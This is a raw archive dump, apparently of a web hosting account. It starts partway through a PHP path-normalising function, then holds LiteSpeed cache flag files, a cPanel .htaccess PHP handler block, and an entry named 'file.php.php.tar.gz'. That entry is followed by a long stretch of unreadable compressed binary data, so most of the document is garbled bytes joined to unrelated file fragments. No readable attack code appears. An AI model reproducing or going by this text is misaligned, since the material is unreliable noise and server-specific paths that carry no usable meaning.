                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKl�n[���)).litespeed_flagnu�[���This file was created by LiteSpeed Web Cache Manager

When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected
by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager.

Please DO NOT ATTEMPT to remove this file unless you understand the above.
PKl�n[wkB�.litespeed_flag.tarnu�[���home/kbdhpghp/bemkasar.com.br/.litespeed_flag000064400000000451151057443360015207 0ustar00This file was created by LiteSpeed Web Cache Manager

When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected
by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager.

Please DO NOT ATTEMPT to remove this file unless you understand the above.
PKl�n[����	.htaccessnu�[���
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php81” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php81___lsphp .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not editPKl�n[�ՕE�j�jfile.php.php.tar.gznu�[������v�J��u�����.)�ߤ����-J)~JdUY� 	(��]���k{ϙ�c�ϱ��z�=�;�g<�w�+�}�}�}���@)P���Ӿ�%Ȍ����������wz��`8�;�d�Ȍ��_G������?���}���s(���� 	�#�p8��P4��_���g&+��P�!p�~����[���ޣ��f���#�G吜PwWw�-#0V���$s�@}a�{��@Mh����P ��D�%��L�0@�\����)I��,��$V�`<ff�P��5� �R�4�q2��\?ioأ�#�������3�	��=�2���z��ӟ�G]Qs�L�R�8�Y	=�1+�ф	�P�+qS�zG�Q�j�&>)�R�H��9C�<�d��^e*��?ҋ����<7g�i��!�e�G�����}#���廏4Ap�Q�(hD�0�!�"|�Fv�k�$_�+�8�S�?��wN}<�EWV@�᩷��S�Y�;�QXI}�Nyr�!��S�)E���
����������Z��R��g
5�35<����t%(���D��TE��H�Xf�;�Ray�9��R��R3�'z)���O��ٮ��G�$�1�G�u;~�"
�Gy""����6D�50����D��#n?�ٕe�P��ޑ�EM�NWH��=�z�өW~�F�^$�����,}v]�����N��m�h����	��;O�'�#��>7�����.����
�N.�(H1��lJ�*EJa:<P��P����w�����5�JP��)�N�vU��2�z2��ek����k��4�߼���2��,�x�f�_���/�����ŗ���7?���gx!��J�Q�L��`4�E��xVa)e�TL��P׉Ҋr�/3��,�:y ��N���Ŀ���_����~�s/��?��}�=��?��{����WP�/�!�����S_�=��/�E_ݸ>�����/�A���CA�~-A��DO�뗿!��Cn�D�D�?���A�=��-��˿��0�_�����ST埫��-B���K�,�]����'��߀�/χh�ʠ���o�dDb�o�
���
<�/�ח��ӒY��j�G�3��ߨ�@��7��<C:Pa{��Q��ߡ��_n�d%�'�CD
�k��ߣ��;�&�dp/A��`��g|��=��t3!��?��D��k���;�kY��	1�!������H�KDT�@�N�
�����~��?�&vg%	��bI�D(�w*�����P����ߠ�[LJ�0�C������������@�aժEI� a��"�'�`j�fӞ�u*h
:��B�p��:��7_�ۏ�\��)#P�k3,���d�y��
]̤���񟢷m`S�X�h �#H�W�J�@��u��7Ÿ�z��AE5�W�Ք�C���ʌt3�އEu�����Ͽ����З���$4�xD���T�͗�����F�V��
�T� ��کX�tp%vA
���k���ҟc�0t� �xd�6�	J�w��˿Ct�Z�S��-Gx��S��BZ�5Qu�ǵ�bQ���&9�Nզ���é
�?��=�0�B�O��2[UPϪJ	UC|g��rD1}4d)0�Te�/T�l&���(
��5K;� �P�������^���H�g׏�ނ�#k:p�H��d�#2��'��0*j̜U�H��jx��c�OP�;4����X
%�`Հ,��
ֆ�����	��T�
UJ�l"�#JK/��j��-�k<J��q5���@+O���*����3rg֙���65��O���K2
�����^!���'�gP&��� ����@]�k<2�8Smr�׺��kg��g,y�;�r��Xd�j]�le�H�Dd\S������_�т� �?��[`�k,�
�f������d��[C�[�I�����5��>o������U���#��u�
%�qjZ���)+���L��+^�2���hh�T�A,�ֺi�z��H"�>��
٥Ȭ���vQ./5Ẓ#�}rraW��C��<�"�`��4#I���b��%��?=�ӗ�?���OD>"d2UV���j�����\���zOiE�q��W���:��7��kˊ�~H>���?�f�h�~}B���y����&��Ӯ�b�V&f�a"�ڧ�`��Ų�u�G��Q������{XR��^f�D<
hУe��\H�90'T����T���JbYxH�ɪ+�Q[����J��$�AO<E�"M�T����u#q�
�
�`C{#aʐQ(D��Ɓ4G
��o�Q�y����AɈ=d�"��x�(,g�\���	�d4e����2��9忠pC����+���]����Ga6a%����F���5�T�aG;v*�a��ގ9Z�sʅ]RH�m��j�M;4�tL۸�=�L��0�� ��#�e�A�؃O+`�J�|����:n�'S�A�޵E�Ɗ%cQ�ġ��K��7o\d�>��]T��b//v�,����
���~������x5��5��j�M5��C�&;$��A:f�+d
X�g���ta_'dJT�B�X1t��*�εy�U�<J�u����-�!(R�Axp0A]�D�@4���{x�u!i'Q]�����_��aA�$Q4��G~�y��'ȔR��_��t�%q��Т����͛%/��"����1��ت���t ��p�O��9<].����l���;0%��AaHK����ȡ�p��{��&L�Hn�<O�.����M�TG��]LfIL� ��%Q$n��������
�G�~?��������7����+T�nP���aI�jk�W�Pe2x)�g�R�0�)`��8�6Y	�}G��z���6����z��1�Ng���d)�H泠QY����4~ q�P������|��J���`x��p�0b�P����O� �
5l��\�i�Zu�!�b
?[�2<��ռ�zƍ|��;�@@� ~�A|;)���n����Li�c
���GMYi���t�aAd�`��J����G�{j��9eST���8�X��+t�-�`ΝIH�J�"�8�4j�he��V{����TGc�.�6oV�����
��:"e��l�Ѵ�,|���u�}�{ؓ�3�X.�4�U+��02j�!�iZ�l��i|�YęƑF�	�R�TD	;�:z��V��33Z0���	��h\3�����
����
݁�jb�N���V.=6J�Z:y�͠o�t9�%zr��?�ڲ��1W(f-�Ɋ�@F��є.Z�}k ��G���	���Gn��O>}���u�-|���벲���j�&\}v8C+&ؕFZ���Z�<����G.��"����k�e^h�#L�T�v4yl�ݫS��o��/A=>�]F���E��C�ȼ+���7vLJ-��V�A�i��͢�I�i�W4e�5,����L�;�2�z�iC�o��o�ǰ���Fm#Հ\�QU�Ǩ�p=h��*3I�l^Bm�t�<��^u�`j���L�'
�bÏNjٍ��eHs�%�eI��(�W��%Zm#ؤ�U�#
�>2p���)������x��`2��3A�X�z�@����|.gs�6'�?
�:�o�}�����-�'�ɦ<
��]�_����ª��.<��枖�w^�n���j݌�J\QՅ���1�k�k�4�-�n6A��*��(�2�O�DB��7h�&vǬ�D�j$�.��Ǭ�R��P�<��դ#�\�*"�B����DU��g�C�9uBNtCN�rRh�=&K<�?���������x��sBPpCP��Қ�Nu��8��\!W��8e�4�#�!†0F��p��Qz���./p}�*
Y!&������Kr����ePg[e�qRv�lʢ���q��A,]�	u��PMÃ�hL^g�=H�4&p@c�q�Ƅ�4&��1����!
;o�?x@cv�	�t*���������7�8�"{u�J�:Ϣ�2,�(|UWS�G^yϼz��٣;u%.]~ا�/a�e_�����j���%��k�]�%0�D�Q�wU��5>�a�� `}�{6h
bi��[D���K�p� ���ڂ�Ym2�A��}��"`��n������u���
!T��f�=���%)����F��z�,&6C8�}��.~-KX%�A�[i6iI���p�h�����lK�� K�*B�J#x��{�he�
��K�i巣��b�W�쒓��zϲ
-�z�� AXS�f8y*�4�bu�=��44�#�F��{�_P��v0��j�"��)�:��F"�eO5>9Z�<UD��rJ�Я��h̰d;s�#���t���*��Ud��2<������ ��}#�����<t��X,���Rp\��&HY��ȟ�*;��RG���Y��o���V��S�	�FăB�z�h$�:�f���((�Z�~l����&e��5��>����V:!�DZn��tn��…w\��O��a�$*�R�#^xz�r�F���h'N����ق����U��dڀ�O5vo[&u/��{�zI{OK�߉<<�,>&��� S��A��E�%�`x�Z�g>�Y)��{@V�Zߛ�J�X�v�7����Б�7G�������`���B�?�c,[��\u~rrb����;��8=��:��=����l\�mnݸ���	P��p3����M�n�.����M$6&�C
K<�H�7�W���_lnN�1dN mZ�C��Os?�y��^;M�*����&�(V��LŌc�c�!���#��cT+[/��^v9�L���h���=�Q�I�E�V�@��e�f�k�+�|b5�	2���m����n�'��^|�D0ڏq`��J��d��[�����B��@��m(l���Zt.Y[ч�;]�7Ŷ���4L�� �d4��hp<
�YGV�
 /�RhY���ad�:͡u� �M,@DT�A��fh�f�s���6t?�3lr�3��������8E�Ȅ�3%럭m
�1ٷ�I�Qd|��ն�U"zf��&{V��W�1��c�S�Bs��^g"~ꉔ��QO�|���91��U�O�}�PC��'��#��\	R7�v�	��"8`�C�.�w���\�l��>��}�~�6y�e���@kԵ;~���s�p�$����O�y��}	�;��C�=&���|n@��:�Jw޻��@�9��s]���h��e��:��C����x�VP$Dk��w�Y��'_��D�
�^����#��`GG��;B�ZKEe�:�kG�\�CD��N����>�+��2 �������ui䢅}�@X��7løđ~���0o_�So�D��<=֊��:�CNw9E#ͬh��#4�	�x��O_r���s�f6�����я�X1��I�8L&�:�ߘ�BE��1����!���U���s#N�S4:��j,�#�$*�H�0����p�l���W�<�s��`���pMt����a��#r4h�~ħR��`�oT�z���̧�-���PW�M1������&+T�3�}{?y��WzP���M����^�D5Z;�s?�Xd��&�H�. ��{�Xm=9�a�ȅ:�J�^��	�-�NK��Z���	K�L% /��a!�)����N��M���nl���6�J¸�9�E*&�#�}��X�i�J�33���%|H%��"��ɖ�5@sk��L3^��)s��pb��Վ��d�04OCp���:7&k0�TC��8��pa7��j��HI�f��<#!�ӈ55~{�Y��9C�1�˖�q�ߌ��"�*"P��=�%���u�=����wG�G�B��9)�z��l��V&�
� S]����!/���_`'a�[y��xVFT��jU'ϖM�ѱiZ������Uߞ�BƵ���\$H��n�@�6�_�����l1��S�S�j����7w�0��� ��
[7�t�Z�(����T�w���B��>j��?h�|.�������v��L���d=���۲�.�HM���kf�X�he𮻏9�����32�x<��,"���Psn:�P�e�u�P��M}B5��F��v9�c�e��F�ޙ�8BMt4����x#��t��>u��a���U}�_�o��36��jS}�c.�B�NM��\���;P#F�
�>
X�{��uT���u�1Ͱ��W�� ��>�6٨�%4�o��z����'�-'�X�������#U�B\�̨���m�o<�@<���u:9�=^�r���h�M�O$J���{<k�=�2k�p�˭��i�v��+2�2<+�
w�B�����`�-M�].�&�\�c j��t�R]lpv����S����	��E�3�`h��9����zO�%t�T�9Ǐ�u�h�R��oL0"��Ӽ^.m�M�Mu�Cc�>��O��">x�Uwf}��P�q$Ai*�24���|�~�Ү�.�f�aH4���bv�vg���Bk�y!����U;��|��Z��I����Z
�nU{7;
[mT��X����Æ;�Q��x��B3� �{6�7!C:-``��Dq6�Z>����c��ː�e�n덀q4k� �J8p6F8��4	}�,#�`�9[O�_'�2�u���v�M�^=���6@v�q2��{Y�Ϧ���~�l悪���!G�N��_�+P���|�pַ
��V��w��f���&�����R�l�+�d>�{To{7Ba�h(N�GYY!Sڄ��{�)b�q�qb(N�SN�!mqN�K�Z�B�P-ɥ-��ȋ�9�AV̘,��1<�*pʴ�H��{�+���
��� ��1�>��R��N�a�1��ګosi�B"��[n>4�`HL����?��Da��@s;6h�"�#M@�T�{Tx>`��)7�)Gg�>����=�[�\3U�.�7���D�R�1�6�[
~&+��-����:|I�{�z#�L�Ѕ��&ZA�J=W���Y�<i�Q��Z���hU�C�zv�}�3I)ToM��D�,�t,u��+?5�]:·���S�ݫT�>�"�z���%&(��M�n�#a���ڀ�W�p]���B��`tv7Z�[�hC����H%#7|�?��Om�>V��`s��g-OvQ�D:��M�F����(�Ш;�c�Yp���0�\�̦C��$O��B20���gL#\�Y ��,jzox�K�
I����n�>*�B�E�,�셯{�CS��B6�K�'*\jBk��r�����Ƣ�G|�$�<�Np0Q
�	���k���Z__Do���>d늸��JM|;�L���L{&�Q�&�ʌW��&���n=��p�H~�W�2�Q���/]Mt<%�1垎5YO�	fn'��bJ?��m�v�
��>_�i�5�����a�c|�~z����P]��on���b$N���5�d�)Ǭ<�����6���t$ȱ�:���:�u<�!��Bt�a)�Ep�X3��,G�l2�G���l�e&�nn9h��鳧�l1�Y��{�lT�+��F|Iǹк1�=7�� y�]Ί��:��@F�Oו>����G���d��d���^����J�P
���d67���B�WZ�=�1i�W�ru߈C�`��V��,�F�VKNr�x㬵δF�i�]]�r�4��J�\���|%��U+�\s�	����(��P��&_���[e���g7�be8h�g�XiY�?�����p��FϞ����-��g��ʪޘ��S�1w��S����L���ܤm{*�L+�P�k�Y|�+�Cl1�烍dj�����!v��H�p�LN��h�/����(:�����}c��2ӡ���5f�4��,�H3ۻ+�VB���恧V�Z|����:I��2�"��&�j���na����6"Yi|=	l��3Zy���ԯ���:d;�;d�㎸$N)��7'��e�]+�;E�|��H���8�|Gf��7�U4Ȓ�Pa�[��6��w�������>	MJ~®}�vI�~�m��Hk"�Vz��bIp/��L���;(5�B5׎�SITD4��7�ZNS^�Z�*{�u�6�@�h�v]�USӞl=Ş{H��oHh�v�#���T�;���[��+W��L6�xW-�˶��Í�Hv��P}����֟�`����"��泐rU��l7FX;��;zǐi)��7�;w��D�r82p�4�a����_K�v��ę#{`9irq|��;y��hG���!S 
e/wzJf14q��}�b���m���Bc
���W8���r��#�9;Bqt�`���D�HK��!r�u`!��(��3�|ĕ�M�Kg�)+&a�t�����#�z0������d�ғ��+7k�������u}���	;�$��1��J����?��#�C�	Y�S�S$u��nB��0�����
Yc ��g|�Ә}�6JF���t~o�$�p�Z��Z#qi����i�c��
�Fq�J\�#�����v��a�
��
���'�@-��J� ����JQa�a��I�(�N�)(�"j$
F�$�������UO��;w�IK�' ��\ﱰ�s�! 	s,��\�7��!�"��[����������,�$��_�\�?�s=�5z�{K4�1/� ��8�=d�ʔ�1�X��/��A{�4���8�
���|/;�l��@x���b�\��ou�~$.��:='��O��D��T)�G>t(Ɓ��}���ձ�AL
�wT19�Pe�v���)
�~s\aU_]R&�!W��'1B��+dV��E �S��]$��b��+�qW�lZkܧ@P�K��	�cIŻ�y<��Csv�(xt�5�`��g�M��g[3�Z��Z��xW�8�z=�8nzD�4A� o;�;�aB,��'���E����7E	�؏)�\F`�,�	y�w�랍5���ސ�k��.kw�D�joS�&��8$�'�—�6���A'����"�a8��L6��&�؅k#�Zgň��!c�y�t�¤ij���kO�&{���Kk�~�(��#����q�qN'��$zu�N���d��UO�����p�è���_��xvF�_��
!��&�#�I��y�;zU|�>Z�x|��G�G8O��m��>d�N�A�l��6�X%�q�JV�����d[��%�y�p�'��T�z�Jm>����N�9ւ�mSh��ۡua����V�u��?��6�>X��`Em��⏰?^�����+�x�Tٜ��D����H�j�@�Ѭ��N?J���y����auѓ�h�7�1�*a���\?��y���݆�]��ϑ*�$��{�w��>ׯ\�I/��>��J/�l�$�{�io�4`�$�*o��vD�	��sZ���l���|2��}�V���6܎
�/2��/�8A�'�G3�?�h�
Y.�9v GZ^��т�)�!�����Μ�]�g�[�<��Q��-�T4�:bo��L���y����<,��4.+ɭ���	�\��
�v��6��c�����5|_$Y���<-���t�g<g��JҎ}��'Z�Rr?��f糭�z�q��+6�U8�j��p�Op
c�N_r넎QK�ST])j���٠S��zlT��3aPi|B�";K��5�6���cv�ԭ`���cs��ر�P�g�.ߓ���������޺��pg�%��|��v
'�0\�b�K��n3�Ph�C`��"5W�܂��n��l�ApӬ�9�i���w�i����	�]b�&sS���w˶+\X��<�6�}�m�-�^��S��wu��׿�w��>��$�mb��yb�!AE�l�k�"�p��
}�k��H4���pD����C�Y8Ni�wS��\��s��`7���~��wj	Rֲ��x�uL2]X�&qOv�I�؝(��/�	k+|��U��1���%T��u��+��|kأ���CI����&��<B��F:����b?����t��d2{�����޼�$���Y���9��kOr%�C�������6	_>{~~=u������W9o�aev=�
�@��El�fp��&#�v�SB�N2�B�p���&��S'/8$��Z��~xCӁD���R��]�K�w%�'��ݣ���]-㥢���u!�)p�
��k������q3\9�UM���CZ�px�V�3�RY����.��"UO#��t��� >��Jq���]���FLjQδS����-Q�O%;�7CYe��C���
b�ZT
���M2zj�Q��rG�6/��VTg6���Aŗ���=�Z9�ѻ�:�3�s=���y	��qs-�VO/�p'؜�X�x����/�'� �Np�
u�[���(��K}ˆ��~���m���gT���{q�OE�{�����������aD� ��b_T� 4Jw��P�Sp(��8:��Op���VG���G�
����ss$vX��PEc��
'څ0�-:����t;�1D���QcE�Ƅ0\K�6p�-��M��&&�Cb"N����K��b���بe��|�T�R.��H
n&r�r%W.��r:Y/�K���Y�Z����V��{�W��f���]e�T�rZ���e�P�~V��F�T�&K5Tٻ}1��h9��.�.@��&�����
S�׷nY�$>}DZ�<ŧ�����'��
�d�
l���1xDyئ�A��ex����+���!퇡t�~�ƻ� �<��vp�\�ں�G�v��1�W}�)���7;f(����s�7�IV���޹��浶vvaW�|޽Ol��4��}�
0�zt�t~�r��9>T}�g&�:�����j\��N�i�����jNx���~��9'��9�*s��9ؙ�Q?P��m�?=;��g�Oa�Tw<���I}��8g%C�L&z����:8�FRѧ1
���\2��E�Ň��n�ÊZ��gn�7$�Ug`/1Է�t*����Uz�!���yɱ|��|H�je���
Y��ʁ�#����k��H�Y`�4�^*�+Dr��R�m�A���-���%��Jf��P6f(�Y2��e�&NG6��0=���Cȅ [��F��\4ը�q¸(Vx��N�^��R��Rz�}N�����{?���(ƫ��Iu��̕g�(��`/w�Z2}��P ����ǔQ��ľ�y_��dSYf�h��"��HL�Of>�$�za���+������q�l���A>S	�*L���	��N(9�5J��Uj�	���|#��1B�$4sw��(
ͫ�Z�K�Ye�6
��u�'�Z�PWj��	��F7[�6�|�p�ry$�osͬ�)�7�d\`nʃh���R,�01gL���)����݌���z��'���}-S��Z�ۧF�Ͳ��2^χ�ʬR��\_%��$�n�sk�v�J�
=w��T��W�A2Ŗn��d&Yoϓ������*S��l���n�?���B��̦�����ͣw�I�]O� �L�,������'���SO�=�5KVR>�m&�tZo���� ��Y�5�i.�,����D����̤���v!YL����r69[%��[���d�C�
�U)�,�ڨn>�w���l�-w�PG�'�B|V�D��\'�,S��Cq����ͲlU���qr�&�|�&UJ҃x|�z;]�U��
�%9V.��`��+Q)��W�\kv�t=R�
�s��r�)�=뼘��ĔB?�ؠ*>f�^�-���]��H�e�iҥ��*����E�dƑ��f��Ӈ~?",x:٤��!��p1�]���V�*u7,䵿~��#��a�؍�gWt�[��EϿ*fk�7������n+����5
�k��n�
�??����Y�zB�FR΋��ìZd����.X[u+�W�dx�M&�nb��U�&9��\&�=ў8M7�5)��֭$��ʸ��o�5}�Fl�ޤS7R*���|z�L
שTo�J��AI���o���0�NOjɫ��
�JW8.��${H��l�W�MU�S�&óΌ�=��c���*��TS��ު]1\2�q�`4&��p��+�P��t�KU���Zj�
q�(䚅�~�;(D��e~6�Ɛ���U~��.�B~ը��b33c��X͋�y�}UYN��x=�t�
s�ZE�_y
�b�S�w��Z�e;��l)��r} �ۥ�*���JZ�ͧEf��g�[Tj��C2]oe{� U��j���}6֪�W�?��K�qf��J_�n�Oٙ�Z��n�����PL��g�x��LŸ�]���Ը���:6�$Ǔ�4W�e���<c��-�k)q4�L;?[�֓RҪ�0�z&���=�a��o���d�����ؐ�O���g�
���'��T�)3
%(��
�?gb�P�o�+f��d$��u-z����d����g�
�z|5R��R~y>�z��h���[,J��}f
7�I'���K>����7��?,���ʢ���&e�����fs�p�x�}u��6o��̯�y�f�4}�ا�Ҍ�͂g���Τq�y�=U���4���J4p�i�i9�]=MX���ӫH�n�����������I�淭A:xۖC�p/���������J��e�F���j0ƭ�OOL6RY�nn�1/7ڣ�U82\z����@nn؇x(z��7la������x�n.��)��T�Q�O��4�3��"r��T"��_ҽ�v�.��!�q��CL�f�l���R@�OL��;J�;�M=і E� ��v�}���pyV�
�>��ͫLn���qJ�o��A|Yo.;�E��w��\�[JV��!��j�Y/Ϛ�Q�u7�����8�;]ft=hM��.��i)6�����i���vݮ�b)0&k�2�.
�	D�}%�b؜(+O\p�o^˳*3兙"-gæ�g��fsړ��"0~> ͔Y�[������-,b��"O�O�n[.?�R�l�L���}Nh
{���-<��]:�	�]�_eZ�v�I���n���e��e%ʬ���](�;��L��^k���3w#exW�Ah�f���\��t�wk�0�������)N��R	�l��w�\>���~ߛ�ʝ�,(��4�Lcb�+�~a5a�륵���P񤪑^�NG<���/]E�*~O�{
��Q1�{�z�B�6CO��0��z�F����׋PhTd��m)����b=^��'��}6�C��A��j/�׃F>u�(�<W�x��)߭�N�Ϭ�l 5�IG*�fj�Q���Tˉ��"ծB�Ȩ<�F����ѽ?�F&��"���_
�l�.Yp���J�j([Z���h���
M��H��M�&z����]I�F��]�5k��m��\[."E�iV�D�B�c��Ux�ҞR,A�<X��Uy1��KfZ�򴝬���u}Q�&��R��u�P���iAH_u��GWKJ�̖�7�H9><��j��|��0/�e�X����t\\�f��d����`!�_�՟�n[�ڸ�ZV��a�]�=S!2iW�%?�=�hQY�Y�ҿfb劔l��HqV�:b3'���x%Oz|3���pSn3���K��j�Rf�Rd=hZ�ʅZ�}������߻/3gR^�ȣ���7�e#wnߧ��Y�)x3	5�ѹҌ���䟰�4h�R+��R*9)�P���}��λO�W��z��S^�ʞ\kr#
�\���
��Ոχ{��i��k�'f�������$�v���d���a2�p)�{�gzg�J98?t��~�4�
bm4ז�"o3����j��]���+��R�)�W�|�*��]�+=t�c�]�]���l6K��N��W�=���]4z�4�<z��ʝ�+e���%i�Ua
bB#P
�����%E���r����м��J�@s�^��\iQ���~�:Dw�L]bz�2&��W��Y���+�����N��d�tZ�,Z�/<�^�)$H����D����K�ս�D[�8�_�ë����X$��tD���ʡ�x��x�٫��?~�9���y���&ܻ�Y=�z36|�<ţ��S�,���]�gcBq�H�ebŒ��6�	E�3���Ί�H�ڡ�=[��z�~)ڡ��3���S���gky>t��S0^�-�gٌR��P�߼�=��h�:{Z\����U�Jw�����,��Y&��)n�ϴ:�0x�u��Ϣ��P����+���(G˳Ynٚ��f�_��GU��_�2�yX�4+%���<珞èg�0X�6c��|�,���24��wuO5^���tp��ͺ��/'�1�&#�5��]{2���rUMf��]<IG�g�Nx���]�H/�\G+AFH��0y���j��M'��!��7eX1��8uXx��׃r�R��g�[�]��Bղ�j�M���j^��Γœ�p��_wnR�u�_�M6�i�:�d��$�g�v��{�&�*�l��L�~�"[�Y��c��ٲ9�ׂ�^
��?zC?u��]����(��k%%�i>D�\c%�O�3A���j�A>+��)�B6٪,�d��6��t����7ɍ=O�Le�������Yd��d�r��7�b-bg��`.��2���"s׎E��J�ٸn*hbg��u���A�$��ߚO'�~$7+�=��T"�z����F+�l1�+>y�N���=3��4F1�|����Fl�j��Q���\�5��*��}n��6���P�/zKN��*��l��Z��:=n�W���<�d���Y�T/���RF�Z�RO�~`�
Ɂ�,T��|�Y)3VXUb�*���'wu�pe�O�Re��(V�h�i�_ݟ�<�N^.t��|�wrӫ�R#;�i7+i:��On���8��'���f�|���cw�(φ�Ty%ƻ�r{}z��V
|(��ӭ�4X_.���{'�|�>��*�t��Dw�p�ޓ�?�G~v�����=�{�g����#?�G~v�����=�{�g���G��C6�*��c�=�����J��OL^�z��da��iqX�pיZv�K"㾞]��q�k��U~u��/o��en�Z����a�������Y��5�p�w'����,�kz�xVh�5����$i�3���z4Ak��/��@�:%���|�5\�������|j�{Bk��3��}�V^���ò&������4�nq��N���)��ě���[�����#V�b��S@�T})��"�Nf�f�k�ς����_�C��=Mk� 
ƫˇ��[��Tz({ʥ�ć<%����C�vx�nb|$3*?����,&�#�zhܘ����&�O���-��ޜ��2I�۔�K�)Ba�йp�z>J��H����SO}i��Z�*Si?M��|�>^�_���'3F�Ga�j���F�Y)��e."�J˛������W�y��'�uT�Y�����Ъ�'�Bx.V.4k��֑�$�_3WO�y8��<��a�����jR��I��q��g�E��$r�\ 2�nJJz�z��Ak8���@���4ֺOK�%7��'W��-4o��x=bt�-Ư&�:�Y>x�d1�e��]n�w��x���|��&[b�O�o~�Hz9|I�
)p'����t��Q3W�L�„�se�,��B�Ȭ�~/;��ي��67�F�H���Vtv���Z�+]�WrPX�٪$u��ԃ�B��4��=Ç�X}�ޔ��G=s��E[�::M'�hRX7Vp���Y�R�xg���U1�f�k)S�j)��4Z���ZP/���^�/b�I�N���7��iO)��X'r�UK�v�v���:4���#�C��o�SL��@ǣОh5ϱ�U���{�2Ig��4�:;k#L�ۼ�t��a��/k���g\�ǟ8��T�5k9^"�\�Q�C|<M�Bw�e�2�N��¬�u-Y���������-
�U���z�����Yz^�����wK<�]ǘ^|^\��F�i՘��)z�2�hL��^������C���n��#G�s�h)r�f�濇Ea�z%��e]��=�i/&+��&)�g�}�jn��R��)2���Z;�lF��a6��H�6}v��R�4���O�ћH�S,�:|�9�ñ��	X`��ý��`���w��"�G7؝����N���s�v%�j�ϸv-u�A+�v�o�W#�.���ܾ�fs��\i4����*r��v�M䧻�i�����ҨX^�׃Asr�VS��d#g�M:���L+W�ڳ��*�[��Sj��]�M��U{�+�t�>.yIɍ����v�,2�T�ϧŕ�n���P�E"Y>��M{��YgV�Z7-�B	T
i�Xj�#)wu=���Ֆ��I�;�gW�ҙr/u��Q��o��a~VxhW��
b�L0��uV,��=���*9����"�V�E�˭S�R�a�ܬ��͚)�Be��!qq��Ʊ^K��r�&�n
	M�r�8����
��A��Y����X�?]�;�p`�Z��/v�{N����
��~0gؿ��"���l_q��L-��8�\P��;(x'?l�j�/kT
�uT���;��\"_ͱ�o�%�T8^�Km?Q{zf-��>���ӎQإ�z?N�9&��6$�!yj.����	���f�H��rS/�T����@�d�Jiʷw��+&\p����Z� ��K�vW��
t�R��B�l��O�t�CL��TG$���
�N��	�d���2n��:Usg��3�o.�Q��}��KC�d:���R�?ⱻ�H;/���Qb_.J"�]'^�؄�����!(C�)�Uf�QWA�僡�2c�BD�]E�Vk��<�
��.�X���C�4��-���v0���;j�J2�gRCaN�(��!�σ��g��A���>(��Z�F	|=��`�v���Jq'H�2<1�ߙ�}s/T�Y	���:�n������|���ͤ�m�t���x��<���Bͯ!O�	���M�C��j~
���^�z���ʤ�7/8�D����C@?Go������a3_yMS��$���g\a�p8�$B �)-�����9���&k�c�#غB�.q�w֤�	r@�p�%��z�NP�����*���G�p��s�#lnGy�]cJ���4IS�A�)NF N�A��g��pO��ڥ��X���_��_}HJ�l.i���M��T̮��Ε�%o�)�U�;�N�1i�I4d[�G�))�ᄦq�� s;�>j�vNtAqF���j�+qS�D��aB��0����hC��ŋK��h��0��S#�v5��w�<{W��,aI��.�����,�O��›	�bR��URײP�
I��ca����7y��.1����8I��4YrҼ�T��K.�
���x��֖���J�n�#���X�a���Q�aFfq�I{S�
�Uy��\�E��8A����֝o��C
��E�$4��u��@���=>�w�-	\q�.�_iݘb�c�W�1ڑ�|$���.w,X���B�ꀸ_��~M�zv��L�zo���#�fT�A)�e��I�u�}_�ޝ-�Y�Y�OqU���ݣ���S&$G�ZĔu���^s[�u��dJ��!9i�;H�9�p=��RO$�7)���η��;N�ednv!���U���T�r�m]m&Q~��ř�G@0��3�m�4pB�7��t�>�T��FB	��#��a�8ŗR| 4����R�\��y_��_�F��G���|�"����)\��1a��3>��M�]� w:� ����o7g�"�|	+2����x����;�\t�����Kc�fŒy������ln,zO~h�I���BK�cW�d�Ƣ�6<`L	Ql]Sڟ		XYmzh;	���0d�yQ��5f�	"�=*�n*�,C<���3-��vX5	���4w2�\��`l�p��
�hՃ��9��}Q��f�����׈O`�;���v;MBi�%�z�I3��f�%�����@ �Y2�p1خl�;Ry�fU�sǟ�T�������b_��c(�ݰ�m�(�w���Vp���؃���lA�ؑ�c���,Vt����W�pQ$C��|}�ʼnE�h2A}[��4���p+d.�C潍F��׳)��l����m~
��sd3vY�n�"ڱ�"����4F��;��F��؍�$�S�ob҆�em b1i��~��L�0��#�(���ҡ7]��q�9�Ae����Wl���K�	S�K�CD��ʰ���O_J�n��.��`!v��a�mcH�<Jvn8�"���p"��

��"N�9+)���65��4�K�+S!��ǙkmohAs�{�X 9uw�n;{A�f	GY�
�t�}��i��^m
2�ܲ�+Z~ϝ���;R�:�j@�I���9�r�����j��#D�u	���+o��QYo�U5hܭ+��h�w����&��F�vC��
�H��jP� O�Y�����Z�S�_9��[�K�z��w��<}��.ힹ�N���L��W{n�D֠J��AӦ��6.|��6��L���F�5�i�������U�<�9G�)j,�){.P�i^�#��/S�;��{��A��t�U\2Zw�o�h��M�x�aW9��_��3��1���&�H��Uo�z�]��X��?�B��t7Y{Xy��0��#A��ڱD�L���?�v}^�'���ͶWAʔ���U�;X��׽u~�7C���d�iO76ء�2��屼�n;LG�.�_�i��'��Ċ=���S�%mx��
���&c��ک:-��_�=���{��X�O�����w��k��'�ء�|O⣾��r��7ݨk��ޚ�Ud_ˋo.6�<T�p��=T�z�`!#^���ԳX߫�'�<6���Ͳ/��ƀ��=�V=
g�Pc�N)qb�]�.z���#�t�̴�}&���l�������7��c������;��M�A���Lfm[؋�{�u7�j��-��������wBG�^P�#�}~�~��_K�2��	��ĺ��oHܫ�T#�^���s�B����_��)+��:��h\-���t]_��?uv��Sո�ء��ro�Mm0dq&�+Umo$u�
���
'��K�"���Lu Z�#ϡ��rs��t�H�>�}��C��M���Ό�{9I�d��Y'a+ڂ�UC�t�&���
}��q%����T� $p�z��^F�.��$@���ݽ��ѫ:o
��ؾ�
